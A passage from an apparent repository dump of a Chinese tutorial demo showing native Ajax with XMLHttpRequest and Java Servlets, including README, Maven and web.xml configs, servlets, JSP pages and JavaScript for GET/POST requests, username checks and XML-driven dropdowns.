    "content": "\n# jun_ajax，基于XMLHttpRequest+Servlet的Ajax实现\n\n> 本 demo 主要是说明原生Ajax的实现，即基于XMLHttpRequest+Servlet的Ajax实现\n\n## pom.xml\n> 无特殊依赖\n```xml\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n\t  <groupId>io.github.wujun728</groupId>\n\t  <artifactId>jun_plugin</artifactId>\n\t  <version>1.0</version>\n  </parent>\n  <artifactId>jun_ajax</artifactId>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <dependencies>\n \n    <dependency>\n        <groupId>mysql</groupId>\n        <artifactId>mysql-connector-java</artifactId>\n        <version>5.1.38</version>\n    </dependency>\n\t\n    <dependency>\n\t    <groupId>junit</groupId>\n\t    <artifactId>junit</artifactId>\n\t    <version>4.11</version>\n        <scope>test</scope>\n    </dependency>\n    \n  </dependencies>\n</project>\n```\n\n## web.xml\n> 无特殊依赖\n```xml\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app version=\"3.0\" \n\txmlns=\"http://java.sun.com/xml/ns/javaee\" \n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee \n\thttp://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\">\n  <display-name></display-name>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>TestServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.TestServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>LoadServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.LoadServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>RegisterServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.RegisterServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>XmlFileServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.XmlFileServlet</servlet-class>\n  </servlet> \n  <servlet-mapping>\n    <servlet-name>TestServlet</servlet-name>\n    <url-pattern>/testServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>LoadServlet</servlet-name>\n    <url-pattern>/loadServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>RegisterServlet</servlet-name>\n    <url-pattern>/registerServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>XmlFileServlet</servlet-name>\n    <url-pattern>/xmlFileServlet</url-pattern>\n  </servlet-mapping>\t\n  <welcome-file-list>\n    <welcome-file>index.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>\n```\n\n## javascript.js\n> 注册Dom树事件，创建XMLHttpRequest对象，建立服务器链接，请求发送数据，接受服务器数据\n```javascript\n//当页面加载完毕之后，执行以下代码\nwindow.onload = function(){\n\tdocument.getElementById(\"ok\").onclick = function(){\n\t\t/*\n\t\t * 1\t创建XMLHttpRequest对象\n\t\t */ \n\t\t var xhr = ajaxFunction();\n\t\t\n\t\t/*\n\t\t * 2\t服务器向浏览器响应请求\n\t\t * \n\t\t * readyState 属性表示Ajax请求的当前状态。它的值用数字代表。\n\t\t\t\t0 代表未初始化。 还没有调用 open 方法\n\t\t\t\t1 代表正在加载。 open 方法已被调用，但 send 方法还没有被调用\n\t\t\t\t2 代表已加载完毕。send 已被调用。请求已经开始\n\t\t\t\t3 代表交互中。服务器正在发送响应\n\t\t\t\t4 代表完成。响应发送完毕\n\t\t\t\t\n\t\t\t常用状态码及其含义：\n\t\t\t\t404 没找到页面(not found)\n\t\t\t\t403 禁止访问(forbidden)\n\t\t\t\t500 内部服务器出错(internal service error)\n\t\t\t\t200 一切正常(ok)\n\t\t\t\t304 没有被修改(not modified)(服务器返回304状态，表示源文件没有被修改 )\n\t\t */ \n\t\t xhr.onreadystatechange = function(){\n\t\t \talert(xhr.readyState);\n\t\t\t//alert(xhr.status);\n\t\t\tif(xhr.readyState==4){\n\t\t\t\tif(xhr.status==200||xhr.status==304){\n\t\t\t\t\tvar data = xhr.responseText;\n\t\t\t\t\talert(data);\n\t\t\t\t}\n\t\t\t}\n\t\t }\n\t\t\n\t\t/*\n\t\t * 3\t浏览器与服务器建立连接\n\t\t * \n\t\t * xhr.open(method, url, asynch);\n\t\t * \t\t* 与服务器建立连接使用\n\t\t * \t\t* method：请求类型，类似 “GET”或”POST”的字符串。\n\t\t * \t\t* url：路径字符串，指向你所请求的服务器上的那个文件。请求路径\n\t\t * \t\t* asynch：表示请求是否要异步传输，默认值为true(异步)。\n\t\t */ \n\t\t xhr.open(\"GET\",\"../testServlet?timeStamp=\"+new Date().getTime()+\"&c=18\",true);\n\t\t\n\t\t/*\n\t\t * 4\t浏览器向服务器发送请求\n\t\t * \n\t\t * \tsend()方法：\n\t\t * \t\t* 如果浏览器请求的类型为GET类型时，通过send()方法发送请求数据，服务器接收不到\n\t\t */ \n\t\t xhr.send(\"a=6&b=9\");\t\t//xhr.send(null);\n\t}\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }\n```\n\n## 运行&地址\n\n将项目运行起来之后，会在**控制台**里查看所有可以访问的端口信息\n1. 打开浏览器，访问：http://localhost:8090/jun_ajax ，输入用户名(admin)密码(123456)即可看到所有的信息\n2. 打开webapp目录下面的文件，根据文件请求的路径访问\n3. 其余可访问的路径，参见文档\n\n## 参考\n- Ajax文档：https://www.w3school.com.cn/jquery/ajax_ajax.asp\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_ajax</artifactId>\n    <version>1.0</version>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <dependencies>\n \n    <dependency>\n        <groupId>mysql</groupId>\n        <artifactId>mysql-connector-java</artifactId>\n        <version>5.1.38</version>\n    </dependency>\n\t\n    <dependency>\n\t    <groupId>junit</groupId>\n\t    <artifactId>junit</artifactId>\n\t    <version>4.11</version>\n        <scope>test</scope>\n    </dependency>\n    \n  </dependencies>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/java/com/jun/plugin/ajax/servlet/LoadServlet.java",
    "content": "package com.jun.plugin.ajax.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class LoadServlet extends HttpServlet {\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tresponse.setContentType(\"text/html\");\n\t\tPrintWriter out = response.getWriter();\n\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/java/com/jun/plugin/ajax/servlet/RegisterServlet.java",
    "content": "package com.jun.plugin.ajax.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@SuppressWarnings(\"serial\")\npublic class RegisterServlet extends HttpServlet {\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tresponse.setContentType(\"text/html;charset=utf-8\");\n\t\tPrintWriter out = response.getWriter();\n\t\t\n\t\tString username = request.getParameter(\"username\").trim();\n\t\t\n\t\tSystem.out.println(\"username = \"+username);\n\t\t\n\t\t//模拟查询数据库\n\t\tif(username==null||username.equals(\"\")){\n\t\t\tout.println(\"请输入用户名！\");\n\t\t}else if(\"sa\".equals(username)){\n\t\t\tout.println(\"该用户名已存在！\");\n\t\t}else{\n\t\t\tout.println(\"该用户名可以注册\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/java/com/jun/plugin/ajax/servlet/TestServlet.java",
    "content": "package com.jun.plugin.ajax.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@SuppressWarnings(\"serial\")\npublic class TestServlet extends HttpServlet {\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tresponse.setContentType(\"text/html\");\n\t\tPrintWriter out = response.getWriter();\n\t\t\n\t\tSystem.out.println(\"connection server success!\");\n\t\t\n\t\tSystem.out.println(\"a = \"+request.getParameter(\"a\"));\n\t\tSystem.out.println(\"b = \"+request.getParameter(\"b\"));\n\t\tSystem.out.println(\"c = \"+request.getParameter(\"c\"));\n\t\t\n\t\tout.println(\"get connection server success\");\n\t\t\n\t}\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tresponse.setContentType(\"text/html\");\n\t\tPrintWriter out = response.getWriter();\n\t\t\n\t\tSystem.out.println(\"connection server success!\");\n\t\t\n\t\tSystem.out.println(\"a = \"+request.getParameter(\"a\"));\n\t\tSystem.out.println(\"b = \"+request.getParameter(\"b\"));\n\t\tSystem.out.println(\"c = \"+request.getParameter(\"c\"));\n\t\t\n\t\tout.println(\"post connection server success\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/java/com/jun/plugin/ajax/servlet/XmlFileServlet.java",
    "content": "package com.jun.plugin.ajax.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class XmlFileServlet extends HttpServlet {\n\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\t//响应的数据格式是xml格式，设置ContentType成text/xml\n\t\tresponse.setContentType(\"text/xml;charset=utf-8\");\n\t\tPrintWriter out = response.getWriter();\n\t\t\n\t\t//xml格式的数据，并不是xml文件\n\t\tout.println(\"<china>\");\n\t\tout.println(\"<province name='吉林省'>\");\n\t\tout.println(\"<city>长春</city>\");\n\t\tout.println(\"<city>吉林市</city>\");\n\t\tout.println(\"<city>四平</city>\");\n\t\tout.println(\"<city>松原</city>\");\n\t\tout.println(\"<city>通化</city>\");\n\t\tout.println(\"</province>\");\n\t\t\n\t\tout.println(\"<province name='辽宁省'>\");\n\t\tout.println(\"<city>沈阳</city>\");\n\t\tout.println(\"<city>大连</city>\");\n\t\tout.println(\"<city>鞍山</city>\");\n\t\tout.println(\"<city>抚顺</city>\");\n\t\tout.println(\"<city>铁岭</city>\");\n\t\tout.println(\"</province>\");\n\t\t\n\t\tout.println(\"<province name='山东省'>\");\n\t\tout.println(\"<city>济南</city>\");\n\t\tout.println(\"<city>青岛</city>\");\n\t\tout.println(\"<city>威海</city>\");\n\t\tout.println(\"<city>烟台</city>\");\n\t\tout.println(\"<city>潍坊</city>\");\n\t\tout.println(\"</province>\");\n\t\tout.println(\"</china>\");\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/01_testget/test.js",
    "content": "//当页面加载完毕之后，执行以下代码\nwindow.onload = function(){\n\tdocument.getElementById(\"ok\").onclick = function(){\n\t\t/*\n\t\t * 1\t创建XMLHttpRequest对象\n\t\t */ \n\t\t var xhr = ajaxFunction();\n\t\t\n\t\t/*\n\t\t * 2\t服务器向浏览器响应请求\n\t\t * \n\t\t * readyState 属性表示Ajax请求的当前状态。它的值用数字代表。\n\t\t\t\t0 代表未初始化。 还没有调用 open 方法\n\t\t\t\t1 代表正在加载。 open 方法已被调用，但 send 方法还没有被调用\n\t\t\t\t2 代表已加载完毕。send 已被调用。请求已经开始\n\t\t\t\t3 代表交互中。服务器正在发送响应\n\t\t\t\t4 代表完成。响应发送完毕\n\t\t\t\t\n\t\t\t常用状态码及其含义：\n\t\t\t\t404 没找到页面(not found)\n\t\t\t\t403 禁止访问(forbidden)\n\t\t\t\t500 内部服务器出错(internal service error)\n\t\t\t\t200 一切正常(ok)\n\t\t\t\t304 没有被修改(not modified)(服务器返回304状态，表示源文件没有被修改 )\n\t\t */ \n\t\t xhr.onreadystatechange = function(){\n\t\t \talert(xhr.readyState);\n\t\t\t//alert(xhr.status);\n\t\t\tif(xhr.readyState==4){\n\t\t\t\tif(xhr.status==200||xhr.status==304){\n\t\t\t\t\tvar data = xhr.responseText;\n\t\t\t\t\talert(data);\n\t\t\t\t}\n\t\t\t}\n\t\t }\n\t\t\n\t\t/*\n\t\t * 3\t浏览器与服务器建立连接\n\t\t * \n\t\t * xhr.open(method, url, asynch);\n\t\t * \t\t* 与服务器建立连接使用\n\t\t * \t\t* method：请求类型，类似 “GET”或”POST”的字符串。\n\t\t * \t\t* url：路径字符串，指向你所请求的服务器上的那个文件。请求路径\n\t\t * \t\t* asynch：表示请求是否要异步传输，默认值为true(异步)。\n\t\t */ \n\t\t xhr.open(\"GET\",\"../testServlet?timeStamp=\"+new Date().getTime()+\"&c=18\",true);\n\t\t\n\t\t/*\n\t\t * 4\t浏览器向服务器发送请求\n\t\t * \n\t\t * \tsend()方法：\n\t\t * \t\t* 如果浏览器请求的类型为GET类型时，通过send()方法发送请求数据，服务器接收不到\n\t\t */ \n\t\t xhr.send(\"a=6&b=9\");\t\t//xhr.send(null);\n\t}\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/01_testget/testget.jsp",
    "content": "<%@ page language=\"java\"  pageEncoding=\"utf-8\"%>\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n     <script type=\"text/javascript\" src=\"./test.js\"></script>\n  </head>\n  <body>\n     <form action=\"\" enctype=\"application/x-www-form-urlencoded\">\n          <input type=\"button\" name=\"ok\" id=\"ok\" value=\"测试服务器连接\">\n      </form>\n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/02_testpost/test.js",
    "content": "//当页面加载完毕之后，执行以下代码\nwindow.onload = function(){\n\tdocument.getElementById(\"ok\").onclick = function(){\n\t\t/*\n\t\t * 1\t创建XMLHttpRequest对象\n\t\t */ \n\t\t var xhr = ajaxFunction();\n\t\t\n\t\t/*\n\t\t * 2\t服务器向浏览器响应请求\n\t\t * \n\t\t * readyState 属性表示Ajax请求的当前状态。它的值用数字代表。\n\t\t\t\t0 代表未初始化。 还没有调用 open 方法\n\t\t\t\t1 代表正在加载。 open 方法已被调用，但 send 方法还没有被调用\n\t\t\t\t2 代表已加载完毕。send 已被调用。请求已经开始\n\t\t\t\t3 代表交互中。服务器正在发送响应\n\t\t\t\t4 代表完成。响应发送完毕\n\t\t\t\t\n\t\t\t常用状态码及其含义：\n\t\t\t\t404 没找到页面(not found)\n\t\t\t\t403 禁止访问(forbidden)\n\t\t\t\t500 内部服务器出错(internal service error)\n\t\t\t\t200 一切正常(ok)\n\t\t\t\t304 没有被修改(not modified)(服务器返回304状态，表示源文件没有被修改 )\n\t\t */ \n\t\t xhr.onreadystatechange = function(){\n\t\t \talert(xhr.readyState);\n\t\t\t//alert(xhr.status);\n\t\t\tif(xhr.readyState==4){\n\t\t\t\tif(xhr.status==200||xhr.status==304){\n\t\t\t\t\tvar data = xhr.responseText;\n\t\t\t\t\talert(data);\n\t\t\t\t}\n\t\t\t}\n\t\t }\n\t\t\n\t\t/*\n\t\t * 3\t浏览器与服务器建立连接\n\t\t * \n\t\t * xhr.open(method, url, asynch);\n\t\t * \t\t* 与服务器建立连接使用\n\t\t * \t\t* method：请求类型，类似 “GET”或”POST”的字符串。\n\t\t * \t\t* url：路径字符串，指向你所请求的服务器上的那个文件。请求路径\n\t\t * \t\t* asynch：表示请求是否要异步传输，默认值为true(异步)。\n\t\t */ \n\t\t xhr.open(\"POST\",\"../testServlet?timeStamp=\"+new Date().getTime()+\"&c=18\",true);\n\t\t \n\t\t //如果是POST请求方式，设置请求首部信息\n\t\t xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");\n\t\t \n\t\t\n\t\t/*\n\t\t * 4\t浏览器向服务器发送请求\n\t\t * \n\t\t * \tsend()方法：\n\t\t * \t\t* 如果浏览器请求的类型为GET类型时，通过send()方法发送请求数据，服务器接收不到\t\n\t\t * \t\t* 如果浏览器请求的类型为POST类型时，通过send()方法发送请求数据，服务器可以接收\n\t\t */ \n\t\t xhr.send(\"a=6&b=9\");\t\t//xhr.send(null);\n\t}\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/02_testpost/testpost.jsp",
    "content": "<%@ page language=\"java\"  pageEncoding=\"utf-8\"%>\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n     <script type=\"text/javascript\" src=\"./test.js\"></script>\n  </head>\n  <body>\n     <form action=\"\" enctype=\"application/x-www-form-urlencoded\">\n          <input type=\"button\" name=\"ok\" id=\"ok\" value=\"测试服务器连接\">\n      </form>\n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/03_load/load.js",
    "content": "//当页面加载完毕之后，执行以下代码\nwindow.onload = function(){\n\tdocument.getElementById(\"ok\").onclick = function(){\n\t\t var xhr = ajaxFunction();\n\t\t\n\t\t xhr.onreadystatechange = function(){\n\t\t\tif(xhr.readyState==1){\n\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = \"<img src='loading33.gif'></img> 正在连接\";\n\t\t\t\talert(\"xxx\");\n\t\t\t}else if(xhr.readyState==2){\n\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = \"<img src='loading33.gif'></img> 正在加载\";\n\t\t\t\talert(\"xxx\");\n\t\t\t}else if(xhr.readyState==3){\n\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = \"<img src='loading33.gif'></img> 正在处理\";\n\t\t\t\talert(\"xxx\");\n\t\t\t}else if(xhr.readyState==4){\n\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = \"显示视频页面\";\n\t\t\t}else{\n\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = \"视频页面加载失败\";\n\t\t\t}\n\t\t }\n\t\t\n\t\t xhr.open(\"POST\",\"../loadServlet?timeStamp=\"+new Date().getTime(),true);\n\t\t \n\t\t xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");\n\t\t\n\t\t xhr.send(null);\n\t}\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/03_load/testload.jsp",
    "content": "<%@ page language=\"java\"  pageEncoding=\"utf-8\"%>\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n     <script type=\"text/javascript\" src=\"./load.js\"></script>\n  </head>\n  <body>\n     <form action=\"\" enctype=\"application/x-www-form-urlencoded\">\n          <div id=\"divcheck\"></div>\n          <input type=\"button\" name=\"ok\" id=\"ok\" value=\"测试加载\">\n      </form>\n  </body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/04_register/register.js",
    "content": "window.onload = function(){\n\tdocument.getElementById(\"checkusername\").onclick = function(){\n\t\tvar username = document.getElementById(\"username\").value;\n\t\t\n\t\tvar xhr = ajaxFunction();\n\t\t\n\t\txhr.onreadystatechange = function(){\n\t\t\tif(xhr.readyState==4){\n\t\t\t\tif(xhr.status==200){\n\t\t\t\t\tvar data = xhr.responseText;\t\t//获取文本\n\t\t\t\t\tdocument.getElementById(\"divcheck\").innerHTML = data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\txhr.open(\"post\",\"../registerServlet?timeStamp=\"+new Date().getTime(),true);\n\t\t\n\t\txhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");\n\t\t\n\t\txhr.send(\"username=\"+username);\n\t\t\n\t}\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/04_register/register.jsp",
    "content": "<%@ page language=\"java\"  pageEncoding=\"utf-8\"%>\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n\t<head>\n\t\t<title>校验用户名是否存在</title>\n\t\t<script type=\"text/javascript\" src=\"./register.js\"> </script>\n\t</head>\n\t<body>\n\t<center>\n\t<form action=\"\"  enctype=\"application/x-www-form-urlencoded\">\n\t\t<h3>请填写用户注册信息</h3>\n\t\t<table  border=\"1\">\n\t\t\t<tr>\n\t\t\t\t<td>用户名:</td>\n\t\t\t\t<td><input type=\"text\" name=\"username\" value=\"\" id=\"username\">\n\t\t\t\t  <div id=\"divcheck\"></div>\n\t\t\t\t  <input type=\"button\" name=\"checkusername\" value=\"查看用户名\" id=\"checkusername\"></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>密码:</td>\n\t\t\t\t<td><input type=\"password\" name=\"psw\" value=\"\"></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>确认密码:</td>\n\t\t\t\t<td><input type=\"password\" name=\"confpsw\" value=\"\"></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>出生日期:</td>\n\t\t\t\t<td><input type=\"text\" name=\"birthday\" value=\"\"></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t </form>\n\t\t </center>\n\t</body>\n\t\n</html>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/05_xmlfile/xmFile.js",
    "content": "window.onload = function(){\n\tvar xhr = ajaxFunction();\n\t\n\txhr.onreadystatechange = function(){\n\t\tif(xhr.readyState==4){\n\t\t\tif(xhr.status==200){\n\t\t\t\tvar docXml = xhr.responseXML;\t\t//获取xml格式的数据\n\t\t\t\t//alert(docXml);\t\t//打印的是object类型，说明已经不是字符串\n\t\t\t\t\n\t\t\t\tvar provinceXmlElements = docXml.getElementsByTagName(\"province\");\n\t\t\t\t\n\t\t\t\tfor(var i=0;i<provinceXmlElements.length;i++){\n\t\t\t\t\tvar provinceXmlElement = provinceXmlElements[i];\n\t\t\t\t\t\n\t\t\t\t\tvar provinceXmlValue = provinceXmlElement.getAttribute(\"name\");\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * <select id=\"province\" name=\"province\">\n\t\t\t\t\t       <option value=\"\">请选择....</option>\n\t\t\t\t\t     </select>\n\t\t\t\t\t */\n\t\t\t\t\tvar optionElement = document.createElement(\"option\");\n\t\t\t\t\toptionElement.setAttribute(\"value\",provinceXmlValue);\n\t\t\t\t\tvar provinceText = document.createTextNode(provinceXmlValue);\n\t\t\t\t\toptionElement.appendChild(provinceText);\n\t\t\t\t\t\n\t\t\t\t\tvar provinceElement = document.getElementById(\"province\");\n\t\t\t\t\tprovinceElement.appendChild(optionElement);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//处理页面中第二个下拉选与处理页面中第一个下拉选的内容是没有关系的,所以不能放置在遍历省份里面\n\t\t\t\t\n\t\t\t\tdocument.getElementById(\"province\").onchange = function(){\n\t\t\t\t\t//1 获取页面中选中的省份\n\t\t\t\t\tvar provinceValue = this.value;\n\t\t\t\t\t\n\t\t\t\t\t//清空\n\t\t\t\t\t/*\n\t\t\t\t\t * <select id=\"city\" name=\"city\">\n\t\t\t\t\t\t \t<option value=\"\">请选择.....</option>\n\t\t\t\t\t\t </select>\n\t\t\t\t\t */\n\t\t\t\t\tvar cityElement = document.getElementById(\"city\");\n\t\t\t\t\tvar optionsOld = cityElement.getElementsByTagName(\"option\");\n\t\t\t\t\tfor(var z=1;z<optionsOld.length;){\n\t\t\t\t\t\tcityElement.removeChild(optionsOld[z]);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//2 遍历解析后的省份\n\t\t\t\t\tfor(var i=0;i<provinceXmlElements.length;i++){\n\t\t\t\t\t\tvar provinceXmlElement = provinceXmlElements[i];\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar provinceXmlValue = provinceXmlElement.getAttribute(\"name\");\n\t\t\t\t\t\t\n\t\t\t\t\t\t//3 作对比\n\t\t\t\t\t\tif(provinceValue==provinceXmlValue){\n\t\t\t\t\t\t\t//4 获取对应省份里的所有城市信息\n\t\t\t\t\t\t\tvar cityXmlElements = provinceXmlElement.getElementsByTagName(\"city\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor(var j=0;j<cityXmlElements.length;j++){\n\t\t\t\t\t\t\t\tvar cityXmlElement = cityXmlElements[j];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tvar cityXmlValue = cityXmlElement.firstChild.nodeValue;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//5 放置到页面的第二个下拉选中\n\t\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\t * <select id=\"city\" name=\"city\">\n\t\t\t\t\t\t\t\t\t \t<option value=\"\">请选择.....</option>\n\t\t\t\t\t\t\t\t\t </select>\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tvar optionElement = document.createElement(\"option\");\n\t\t\t\t\t\t\t\toptionElement.setAttribute(\"value\",cityXmlValue);\n\t\t\t\t\t\t\t\tvar cityText = document.createTextNode(cityXmlValue);\n\t\t\t\t\t\t\t\toptionElement.appendChild(cityText);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tcityElement.appendChild(optionElement);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\txhr.open(\"post\",\"../xmlFileServlet?timeStamp=\"+new Date().getTime(),true);\n\t\n\txhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");\n\t\n\txhr.send(null);\n}\n\nfunction ajaxFunction(){\n   var xmlHttp;\n   